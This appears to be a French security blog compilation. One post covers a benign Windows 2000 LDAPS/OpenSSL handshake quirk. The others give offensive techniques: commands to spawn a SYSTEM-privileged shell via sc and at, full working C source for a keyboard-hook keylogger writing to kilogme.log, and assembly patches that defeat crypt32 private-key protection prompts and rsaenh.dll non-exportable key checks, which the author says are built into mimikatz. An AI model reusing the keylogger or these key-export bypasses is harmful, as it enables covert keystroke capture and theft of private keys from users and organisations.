Bizarreries LDAPS Windows 2000 et OpenSSL :/

Un cas « rigolo » d’utilisation d’OpenSSL en client SSL (s_client) qui change de comportement selon l’activation du mode debug ou non… :

Sans mode -debug :(

openssl s_client -connect xxx.local:636 -CAfile ssl\ac_root.pem -showcerts -msg -state

Résultat :

CONNECTED(00000754)
SSL_connect:before/connect initialization
>>> TLS 1.0 Handshake [length 00cd], ClientHello
SSL_connect:SSLv2/v3 write client hello A
<<< TLS 1.0 Handshake [length 004a], ServerHello
SSL_connect:SSLv3 read server hello A
<<< TLS 1.0 Handshake [length 0b4a], Certificate
depth=2 O = XXX, C = FR
verify return:1
depth=1 O = XXX, C = FR
verify return:1
depth=0 C = FR, O = XXX, CN = XXX
verify return:1
SSL_connect:SSLv3 read server certificate A
<<< TLS 1.0 Handshake [length 0971], CertificateRequest
SSL_connect:SSLv3 read server certificate request A
<<< TLS 1.0 Handshake [length 0004], ServerHelloDone
SSL_connect:SSLv3 read server done A
>>> TLS 1.0 Handshake [length 0007], Certificate
SSL_connect:SSLv3 write client certificate A
>>> TLS 1.0 Handshake [length 0106], ClientKeyExchange
SSL_connect:SSLv3 write client key exchange A
>>> TLS 1.0 ChangeCipherSpec [length 0001]
SSL_connect:SSLv3 write change cipher spec A
>>> TLS 1.0 Handshake [length 0010], Finished
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
SSL_connect:failed in SSLv3 read finished A
2052:error:140790E5:SSL routines:SSL23_WRITE:ssl handshake failure:.\ssl\s23_lib.c:177:

Une petite capture réseau :
windows_2000_ldaps_2048_nodebug_ko
(1 packet pour les handshakes de fin)

Avec mode -debug :)

openssl s_client -connect xxx.local:636 -CAfile ssl\ac_root.pem -showcerts -msg -state -debug

Résultat :

CONNECTED(00000754)
SSL_connect:before/connect initialization
write to 0xaa4918 [0xaa8f00] (210 bytes => 210 (0xD2))
>>> TLS 1.0 Handshake [length 00cd], ClientHello
SSL_connect:SSLv2/v3 write client hello A
read from 0xaa4918 [0xaae460] (7 bytes => 7 (0x7))
read from 0xaa4918 [0xaae46a] (5383 bytes => 5383 (0x1507))
<<< TLS 1.0 Handshake [length 004a], ServerHello
SSL_connect:SSLv3 read server hello A
<<< TLS 1.0 Handshake [length 0b4a], Certificate
depth=2 O = XXX, C = FR
verify return:1
depth=1 O = XXX, C = FR
verify return:1
depth=0 C = FR, O = XXX, CN = XXX
verify return:1
SSL_connect:SSLv3 read server certificate A
<<< TLS 1.0 Handshake [length 0971], CertificateRequest
SSL_connect:SSLv3 read server certificate request A
<<< TLS 1.0 Handshake [length 0004], ServerHelloDone
SSL_connect:SSLv3 read server done A
>>> TLS 1.0 Handshake [length 0007], Certificate
write to 0xaa4918 [0xab6e68] (12 bytes => 12 (0xC))
SSL_connect:SSLv3 write client certificate A
>>> TLS 1.0 Handshake [length 0106], ClientKeyExchange
write to 0xaa4918 [0xab6e68] (267 bytes => 267 (0x10B))
SSL_connect:SSLv3 write client key exchange A
>>> TLS 1.0 ChangeCipherSpec [length 0001]
write to 0xaa4918 [0xab6e68] (6 bytes => 6 (0x6))
SSL_connect:SSLv3 write change cipher spec A
>>> TLS 1.0 Handshake [length 0010], Finished
write to 0xaa4918 [0xab6e68] (37 bytes => 37 (0x25))
SSL_connect:SSLv3 write finished A
SSL_connect:SSLv3 flush data
read from 0xaa4918 [0xaae463] (5 bytes => 5 (0x5))
read from 0xaa4918 [0xaae468] (1 bytes => 1 (0x1))
<<< TLS 1.0 ChangeCipherSpec [length 0001]
read from 0xaa4918 [0xaae463] (5 bytes => 5 (0x5))
read from 0xaa4918 [0xaae468] (32 bytes => 32 (0x20))
<<< TLS 1.0 Handshake [length 0010], Finished
SSL_connect:SSLv3 read finished A

Une petite capture réseau :
windows_2000_ldaps_2048_debug_ok
(2 packets pour les handshakes de fin)

Résultats :

OpenSSL : mauvais point ! Les packets envoyés par OpenSSL en mode debug ne sont pas ordonnancés de la même manière qu’en mode « normal » !!!
Windows 2000 : TRES mauvais point, les certificats en 1024 bits fonctionnent quelque soit le mode de trace d’OpenSSL, contrairement à ceux en 2048 bits
Windows 2003 fonctionne, lui, normalement.

Pour le moment : Juniper / OpenSSL : 1 ; Windows 2000 : 0

Invite de commandes en SYSTEM

Astuce temporaire permettant d’obtenir une invite de commandes avec le droit SYSTEM.

sc create syscmd binpath= "cmd /k start" type= own type= interact
sc start  syscmd
sc delete syscmd

Je la préfére de loin à l’astuce passant par le planificateur de tâches.

at 00:00 /interactive cmd
schtasks /run /tn at1
schtasks /delete /tn at1 /f

* AT est utilisé pour la création afin de garder le mode interactif…

Ce sont des astuces rapides en ligne de commande pouvant être encore plus confortables dans un script…

Le keylogger du pauvre (ou de 36 lignes)

Un petit code source d’un keylogger vraiment minimaliste… (38 lignes)

#include <windows.h>
#include <stdio.h> 
#include <tchar.h>
 
HHOOK hKeyHook;
LRESULT KeyEvent (int nCode, WPARAM wParam, LPARAM lParam)
{
    if((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
    {
		KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT *) lParam);
		TCHAR lpszName[255 + 1] = {0};
		DWORD dwMsg = 1 + (hooked.scanCode << 16) + (hooked.flags << 24);
		FILE * file = NULL;
		if(!_tfopen_s(&file, TEXT("kilogme.log"), TEXT("a+")))
		{
			lpszName[0] = TEXT(' ');
			GetKeyNameText(dwMsg, (lpszName + 1), ARRAYSIZE(lpszName) - 1);
			_fputts(lpszName, file);
			fclose(file);
		}
	}
	return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
 
int WINAPI WinMain (HINSTANCE instance, HINSTANCE prev_instance, PSTR cmd_line, int cmd_show)
{
	MSG message;
	hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, GetModuleHandle(NULL), 0);
	while (GetMessage(&message,NULL,0,0))
	{
		TranslateMessage(&message);
		DispatchMessage(&message);
	}
	UnhookWindowsHookEx(hKeyHook);
	return ERROR_SUCCESS;
}

Le code en ligne 11 et 16 ne sert qu’à mettre un espace entre les touches.

Protection de l’utilisation de la clé privée (moyen)

A l’import d’un certificat (ou d’une clé privée), une option permettant d’activer la « protection renforcée de clés privées » est disponible…
En positionnant le niveau sur « moyen », un popup de confirmation apparaitra à chaque utilisation de la clé, et bien sur lors de l’export…

export_protected

Le niveau « moyen » ne représente donc aucun intérêt…, l’apparition de ce popup est implémenté dans la méthode CryptUnprotectData de la librairie crypt32

.text:761889DA                 test    al, 3
.text:761889DC                 jnz     loc_76198EE9

Un JNZ ne servant ici pas à grand chose, NOP…
Il aurait provoqué :

.text:76198EFB                 call    _I_CryptUIProtect@24 ; I_CryptUIProtect(x,x,x,x,x,x)

Par contre, en positionnant le niveau sur « haut » lors de l’import, un mot de passe servira à décoder la clé pour chaque utilisation de celle ci, ou de son export…, cette fois ci, pas de by-pass aussi simple…

Astuce disponible dans mimikatz !

Clé privée non exportable et CSP Microsoft…

Lors de la génération d’une bi-clé par un CSP (via CPGenKey depuis CryptGenKey), deux flags permettent de garantir l’exportabilité de la clé privée :
CRYPT_EXPORTABLE 0x00000001
CRYPT_ARCHIVABLE 0x00004000

Lors de l’export de la clé privée (CPExportKey , ces flags sont vérifiés afin de décider si l’export peut être effectué…
Depuis rsaenh.dll :

.text:6800C350                 test    word ptr [eax+8], 4001h
.text:6800C356                 jnz     short loc_6800C362
.text:6800C358                 mov     esi, 8009000Bh

Exemple avec Certutil pour une clé non exportable :

CertUtil : -exportPFX ÉCHEC de la commande : 0x8009000b (-2146893813)
CertUtil: Clé non valide pour l'utilisation dans l'état spécifié.

Sous Windows >= NT 5.1 mais < 6.0, ce test est suivi d'un autre test. Sous Windows >= NT 6.0, ce test est répété une autre fois.

Inclus dans mimikatz (article : http://blog.gentilkiwi.com/mimikatz/crypto#patchcapi)